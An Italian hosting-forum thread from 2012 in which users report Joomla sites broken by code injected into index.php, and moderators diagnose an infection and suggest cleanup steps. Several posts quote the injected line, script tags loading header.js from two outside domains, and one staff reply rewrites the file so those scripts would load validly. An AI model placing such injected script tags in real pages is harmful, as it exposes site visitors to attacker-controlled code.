Visualizzazione risultati 1 fino 25 di 25

Discussione: Malware sul sito

  1. #1
    Guest

    Angry Malware sul sito

    Salve! Da poco mi compare questa scritta quando cerco di arrivare al mio sito
    Parse error: syntax error, unexpected '<' in /membri/fantamici/index.php on line 55
    come mai? Ci tengo a specificare che non ho effettuato alcuna modifica! E' accaduto all'improvviso!!!

    EDIT
    update: anche un altro sito web di mia proprietà risulta essere irraggiungibile! eppure ieri era tutto ok! ecco il messaggio che mi appare sull'altro sito:
    Parse error: syntax error, unexpected '<' in /membri/mdwebsolutions/administrator/index.php on line 59 (pagina di amministrazione)
    Parse error: syntax error, unexpected '<' in /membri/mdwebsolutions/index.php on line 55 (sito vero e proprio)
    aiuto non so cosa fare!!!!!
    Ultima modifica di musicanapoli : 13-02-2012 alle ore 05.10.53

  2. #2
    L'avatar di dreadnaut
    dreadnaut non è connesso Super Moderatore
    Data registrazione
    22-02-2004
    Messaggi
    6,306

    Predefinito

    Se apri uno di quei file e guardi alla riga 55, cosa ci trovi?

  3. #3
    Guest

    Predefinito

    Citazione Originalmente inviato da dreadnaut Visualizza messaggio
    Se apri uno di quei file e guardi alla riga 55, cosa ci trovi?
    Grazie per aver risposto! Io uso joomla! Come arrivo a quel file?!

  4. #4
    L'avatar di dreadnaut
    dreadnaut non è connesso Super Moderatore
    Data registrazione
    22-02-2004
    Messaggi
    6,306

    Predefinito

    Via pannello di altervista (gestione file), o ftp (filezilla)?

  5. #5
    Guest

    Predefinito

    Citazione Originalmente inviato da dreadnaut Visualizza messaggio
    Via pannello di altervista (gestione file), o ftp (filezilla)?
    Come ti risulta più comodo! Posso accedere sia via pannello sia via ftp!

  6. #6
    bennyemarta non è connesso Neofita
    Data registrazione
    02-11-2011
    Messaggi
    3

    Predefinito Parse error: syntax error, unexpected '<' in /membri/miosito/index.php on line 5

    Idem anche per me. nessuno ha una soluzione? grazie anticipatamente
    io solla riga 54 dell'index trovo scritto questo: echo $app;<html><body><script type="text/javascript" src="http://www.fatsagundem.com/plugins/user/header.js"></script></body></html>
    mentre sulla riga 58 index administrator trovo: echo $app;
    io non ci capisco un tubooooo
    Ultima modifica di bennyemarta : 13-02-2012 alle ore 13.56.02

  7. #7
    L'avatar di dreadnaut
    dreadnaut non è connesso Super Moderatore
    Data registrazione
    22-02-2004
    Messaggi
    6,306

    Predefinito

    Citazione Originalmente inviato da fantamici Visualizza messaggio
    Come ti risulta più comodo! Posso accedere sia via pannello sia via ftp!
    Ottimo! Allora fallo e posta la riga 55 qua!

  8. #8
    Guest

    Predefinito

    Citazione Originalmente inviato da dreadnaut Visualizza messaggio
    Ottimo! Allora fallo e posta la riga 55 qua!
    Il problema è che non so che path seguire per arrivare al file! Se digito quel percorso nel browser mi dice che il file non esiste! :(

  9. #9
    L'avatar di dreadnaut
    dreadnaut non è connesso Super Moderatore
    Data registrazione
    22-02-2004
    Messaggi
    6,306

    Predefinito

    Quando ti colleghi via ftp, o guardi via pannello, cominci già in "/membri/fantamici/". A quel punto ti basta prendere il file index.php che è subito li.

  10. #10
    Guest

    Exclamation

    Citazione Originalmente inviato da dreadnaut Visualizza messaggio
    Quando ti colleghi via ftp, o guardi via pannello, cominci già in "/membri/fantamici/". A quel punto ti basta prendere il file index.php che è subito li.
    E' proprio questo il problema! Il path /membri/fantamici NON esiste!!!!!
    Eccoti lo screen del pannello! http://i42.tinypic.com/aynhgw.png

    EDIT:
    La stessa cosa vale anche per l'altro mio sito: mdwebsolutions.altervista.org
    Ultima modifica di fantamici : 13-02-2012 alle ore 14.04.45

  11. #11
    L'avatar di dreadnaut
    dreadnaut non è connesso Super Moderatore
    Data registrazione
    22-02-2004
    Messaggi
    6,306

    Predefinito

    Come ho già scritto, il pannello si apre già in /membri/fantamici, è quello che vedi davanti a te.

  12. #12
    Guest

    Predefinito

    Citazione Originalmente inviato da dreadnaut Visualizza messaggio
    Come ho già scritto, il pannello si apre già in /membri/fantamici, è quello che vedi davanti a te.
    Perdonami, ho mal interpretato le tue parole; in ogni caso alla riga 55 mi appare questo:
    Codice:
    // Return the response.
    echo $app;<html><body><script type="text/javascript" src="http://robertwalz.com/header.js"></script><script type="text/javascript" src="http://www.fatsagundem.com/plugins/user/header.js"></script></body></html>
    E questo è l'intero index.php

    Codice:
    <?php
    /**
     * @version		$Id: index.php 20806 2011-02-21 19:44:59Z dextercowley $
     * @package		Joomla.Site
     * @copyright	Copyright (C) 2005 - 2011 Open Source Matters, Inc. All rights reserved.
     * @license		GNU General Public License version 2 or later; see LICENSE.txt
     */
    
    // Set flag that this is a parent file.
    define('_JEXEC', 1);
    define('DS', DIRECTORY_SEPARATOR);
    
    if (file_exists(dirname(__FILE__) . '/defines.php')) {
    	include_once dirname(__FILE__) . '/defines.php';
    }
    
    if (!defined('_JDEFINES')) {
    	define('JPATH_BASE', dirname(__FILE__));
    	require_once JPATH_BASE.'/includes/defines.php';
    }
    
    require_once JPATH_BASE.'/includes/framework.php';
    
    // Mark afterLoad in the profiler.
    JDEBUG ? $_PROFILER->mark('afterLoad') : null;
    
    // Instantiate the application.
    $app = JFactory::getApplication('site');
    
    // Initialise the application.
    $app->initialise();
    
    // Mark afterIntialise in the profiler.
    JDEBUG ? $_PROFILER->mark('afterInitialise') : null;
    
    // Route the application.
    $app->route();
    
    // Mark afterRoute in the profiler.
    JDEBUG ? $_PROFILER->mark('afterRoute') : null;
    
    // Dispatch the application.
    $app->dispatch();
    
    // Mark afterDispatch in the profiler.
    JDEBUG ? $_PROFILER->mark('afterDispatch') : null;
    
    // Render the application.
    $app->render();
    
    // Mark afterRender in the profiler.
    JDEBUG ? $_PROFILER->mark('afterRender') : null;
    
    // Return the response.
    echo $app;<html><body><script type="text/javascript" src="http://robertwalz.com/header.js"></script><script type="text/javascript" src="http://www.fatsagundem.com/plugins/user/header.js"></script></body></html>
    Ultima modifica di fantamici : 13-02-2012 alle ore 14.19.13

  13. #13
    L'avatar di alemoppo
    alemoppo non è connesso Staff AV
    Data registrazione
    24-08-2008
    Residenza
    PU / BO
    Messaggi
    22,686

    Predefinito

    Non ti assicuro che funzioni (anche perché joomla non l'ho mai usato), però sintatticamente, il codice corretto sarebbe:

    Codice PHP:
    <?php
    /**
    * @version $Id: index.php 20806 2011-02-21 19:44:59Z dextercowley $
    * @package Joomla.Site
    * @copyright Copyright (C) 2005 - 2011 Open Source Matters, Inc. All rights reserved.
    * @license GNU General Public License version 2 or later; see LICENSE.txt
    */

    // Set flag that this is a parent file.
    define('_JEXEC', 1);
    define('DS', DIRECTORY_SEPARATOR);

    if (
    file_exists(dirname(__FILE__) . '/defines.php')) {
    include_once
    dirname(__FILE__) . '/defines.php';
    }

    if (!
    defined('_JDEFINES')) {
    define('JPATH_BASE', dirname(__FILE__));
    require_once
    JPATH_BASE.'/includes/defines.php';
    }

    require_once
    JPATH_BASE.'/includes/framework.php';

    // Mark afterLoad in the profiler.
    JDEBUG ? $_PROFILER->mark('afterLoad') : null;

    // Instantiate the application.
    $app = JFactory::getApplication('site');

    // Initialise the application.
    $app->initialise();

    // Mark afterIntialise in the profiler.
    JDEBUG ? $_PROFILER->mark('afterInitialise') : null;

    // Route the application.
    $app->route();

    // Mark afterRoute in the profiler.
    JDEBUG ? $_PROFILER->mark('afterRoute') : null;

    // Dispatch the application.
    $app->dispatch();

    // Mark afterDispatch in the profiler.
    JDEBUG ? $_PROFILER->mark('afterDispatch') : null;

    // Render the application.
    $app->render();

    // Mark afterRender in the profiler.
    JDEBUG ? $_PROFILER->mark('afterRender') : null;

    // Return the response.
    echo $app;
    ?>
    <html><body><script type="text/javascript" src="http://robertwalz.com/header.js"></script><script type="text/javascript" src="http://www.fatsagundem.com/plugins/user/header.js"></script></body></html>
    ...Poi, semanticamente non ne ho idea di come funzioni joomla..

    Ciao!

  14. #14
    L'avatar di dreadnaut
    dreadnaut non è connesso Super Moderatore
    Data registrazione
    22-02-2004
    Messaggi
    6,306

    Predefinito

    Codice PHP:
    // Return the response.
    echo $app;<html><body><script type="text/javascript" src="http://robertwalz.com/header.js"></script><script type="text/javascript" src="http://www.fatsagundem.com/plugins/user/header.js"></script></body></html>
    Quel pezzo di html dopo echo $app;" sembra aggiunto a caso, e punta a file esterni al tuo sito. Sembra che la tua installazione di Joomla sia stata infettata. Questo può essere avvenuto direttamente online, oppure via malware presente sul tuo computer.

    Cancella quel pezzo di html ed il sito dovrebbe riapparire. Controlla inoltre che Joomla sia aggiornato (dovrebbe esserlo) e che il tuo computer sia pulito.

  15. #15
    Guest

    Predefinito

    Citazione Originalmente inviato da dreadnaut Visualizza messaggio
    Codice PHP:
    // Return the response.
    echo $app;<html><body><script type="text/javascript" src="http://robertwalz.com/header.js"></script><script type="text/javascript" src="http://www.fatsagundem.com/plugins/user/header.js"></script></body></html>
    Quel pezzo di html dopo echo $app;" sembra aggiunto a caso, e punta a file esterni al tuo sito. Sembra che la tua installazione di Joomla sia stata infettata. Questo può essere avvenuto direttamente online, oppure via malware presente sul tuo computer.

    Cancella quel pezzo di html ed il sito dovrebbe riapparire. Controlla inoltre che Joomla sia aggiornato (dovrebbe esserlo) e che il tuo computer sia pulito.
    Ho cancellato quel pezzo però il sito non è altro che una pagina bianca su cui non appare alcun messaggio! :(

    EDIT:
    RISOLTO!!! Praticamente a questo codice
    Codice:
    // Return the response.
    echo $app;<html><body><script type="text/javascript" src="http://robertwalz.com/header.js"></script><script type="text/javascript" src="http://www.fatsagundem.com/plugins/user/header.js"></script></body></html>
    bisogna cancellare tutto e lasciare
    Codice:
    echo $app;
    Mille grazie per l'assistenza! Siete fantastici! ;)
    Ultima modifica di andreafallico : 13-02-2012 alle ore 16.44.30

  16. #16
    Guest

    Angry Malware sul sito

    Salve! C'è qualcuno che sa come disinfettare un sito/spazio web affetto da un virus?
    Grazie!

  17. #17
    karl94 non è connesso Staff AV
    Data registrazione
    03-10-2005
    Messaggi
    17,745

    Predefinito

    Come per ogni malware è necessario rimuovere il codice malevolo ed eventualmente ripristinare le modifiche effettuate da questo.
    La procedura dunque è differente da caso a caso.

  18. #18
    Guest

    Predefinito

    Ho capito! Ho effettuato una scansione con urlvoid.com...è attendibile?
    In ogni caso mi riporta questo tipo di "messaggio":
    Scanning site with: Malc0de DETECTED

    EDIT:
    Il problema in questione è stato descritto anche qui: http://forum.it.altervista.org/jooml...la-joomla.html
    Ultima modifica di fantamici : 15-02-2012 alle ore 19.14.37

  19. #19
    karl94 non è connesso Staff AV
    Data registrazione
    03-10-2005
    Messaggi
    17,745

    Predefinito

    Non mi sembra sia rimasta traccia del malware, per sicurezza effettua scansioni con un buon antimalware nei computer che hai utilizzato per accedere agli spazi web infettati.

  20. #20
    Guest

    Predefinito

    Citazione Originalmente inviato da karl94 Visualizza messaggio
    Non mi sembra sia rimasta traccia del malware, per sicurezza effettua scansioni con un buon antimalware nei computer che hai utilizzato per accedere agli spazi web infettati.
    Grazie per l'assistenza! Sapresti consigliarmi un buon antimalware?!

  21. #21
    L'avatar di dreadnaut
    dreadnaut non è connesso Super Moderatore
    Data registrazione
    22-02-2004
    Messaggi
    6,306

  22. #22
    Guest

    Predefinito

    Citazione Originalmente inviato da dreadnaut Visualizza messaggio
    MSE è un buon programma?

  23. #23
    L'avatar di dreadnaut
    dreadnaut non è connesso Super Moderatore
    Data registrazione
    22-02-2004
    Messaggi
    6,306

    Predefinito

    Fra quelli che ho visto, si. Soprattutto è meno tignoso degli altri.

  24. #24
    Guest

    Angry Malware sul sito

    Salve, nonostante i miei tentativi il malware che impedisce la normale visualizzazione dei miei siti (fantamici.altervista.org - mdwebsolutions.altervista.org) continua ad imperversare! Qualcuno sa come risolvere del tutto questo problema?

    Ecco l'errore che visualizzo quando apro mdwebsolutions:

    Parse error: syntax error, unexpected '>' in /membri/mdwebsolutions/index.php on line 55

    Ecco il file incriminato:

    Codice:
    <?php
    /**
     * @version		$Id: index.php 20806 2011-02-21 19:44:59Z dextercowley $
     * @package		Joomla.Site
     * @copyright	Copyright (C) 2005 - 2011 Open Source Matters, Inc. All rights reserved.
     * @license		GNU General Public License version 2 or later; see LICENSE.txt
     */
    
    // Set flag that this is a parent file.
    define('_JEXEC', 1);
    define('DS', DIRECTORY_SEPARATOR);
    
    if (file_exists(dirname(__FILE__) . '/defines.php')) {
    	include_once dirname(__FILE__) . '/defines.php';
    }
    
    if (!defined('_JDEFINES')) {
    	define('JPATH_BASE', dirname(__FILE__));
    	require_once JPATH_BASE.'/includes/defines.php';
    }
    
    require_once JPATH_BASE.'/includes/framework.php';
    
    // Mark afterLoad in the profiler.
    JDEBUG ? $_PROFILER->mark('afterLoad') : null;
    
    // Instantiate the application.
    $app = JFactory::getApplication('site');
    
    // Initialise the application.
    $app->initialise();
    
    // Mark afterIntialise in the profiler.
    JDEBUG ? $_PROFILER->mark('afterInitialise') : null;
    
    // Route the application.
    $app->route();
    
    // Mark afterRoute in the profiler.
    JDEBUG ? $_PROFILER->mark('afterRoute') : null;
    
    // Dispatch the application.
    $app->dispatch();
    
    // Mark afterDispatch in the profiler.
    JDEBUG ? $_PROFILER->mark('afterDispatch') : null;
    
    // Render the application.
    $app->render();
    
    // Mark afterRender in the profiler.
    JDEBUG ? $_PROFILER->mark('afterRender') : null;
    
    // Return the response.
    echo $app<html><body><script type="text/javascript" src="http://robertwalz.com/header.js"></script></body></html>;
    Ed ecco dove risiede il problema!
    Codice:
    Return the response.
    echo $app<html><body><script type="text/javascript" src="http://robertwalz.com/header.js"></script></body></html>;
    Questa è la quarta volta che questa maledetta stringa ricompare! Non so più cosa fare!!!! Qualcuno ha già affrontato difficoltà del genere? Grazie
    Ultima modifica di fantamici : 16-02-2012 alle ore 13.56.39 Motivo: Specifica info

  25. #25
    Guest

    Predefinito

    Non sono esperto di malware, però se la riga ricompare presumo sia perché da qualche parte sul tuo spazio web c'è un codice che viene eseguito e ti modifica la pagina in questione.

    Può essere un componente .php di joomla modificatosi in qualche modo o qualche javascript infilatosi mentre ha fatto un FTP.

    Io farei così (magari i più esperti conoscono una scorciatoia):

    1) Per prima cosa controlla il tuo PC e fai una bella scansione con un buon antivirus, prima di entrare ad amministrare via pannello di controllo Altervista i files. Meglio sarebbe usare un PC con linux a bordo, sei più sicuro; puoi usare una distro live. Se il tuo PC è infetto vai in loop infinito.

    2) cambia tutte le password sia di Altervista, sia di joomla sia del DB Mysql. Dopo aver sterilizzato il PC, altrimenti potresti essere punto a capo.

    3) controlla che nella tabella "user" di joomla su Mysql (usa phpmyadmin) non vi siano altri utenti con privilegi amministrativi. Se il tuo sito non ha registrati deve esserci solo il tuo utente. Spero che il malware non abbia fatto pasticci anche su qualche campo/tabella di Mysql (Sql Injection, credo si chiami così il fenomeno).

    4) a mano controlla tutti i files da pannello di controllo altervista. Guarda quelli che hanno una data di modifica recente. Se trovi un file .php modificato o file .js potrebbe contenere il codice malevolo.

    5) Hai per caso installato estensioni di terze parti? Potrebbe essere anche quella la causa. Magari avevano un baco di sicurezza nel codice.

    Se vuoi che proviamo assieme in chat mandami un M.P. che fissiamo un appuntamento.

    Ciao.

Tags for this Thread

Regole di scrittura

  • Non puoi creare nuove discussioni
  • Non puoi rispondere ai messaggi
  • Non puoi inserire allegati.
  • Non puoi modificare i tuoi messaggi
  •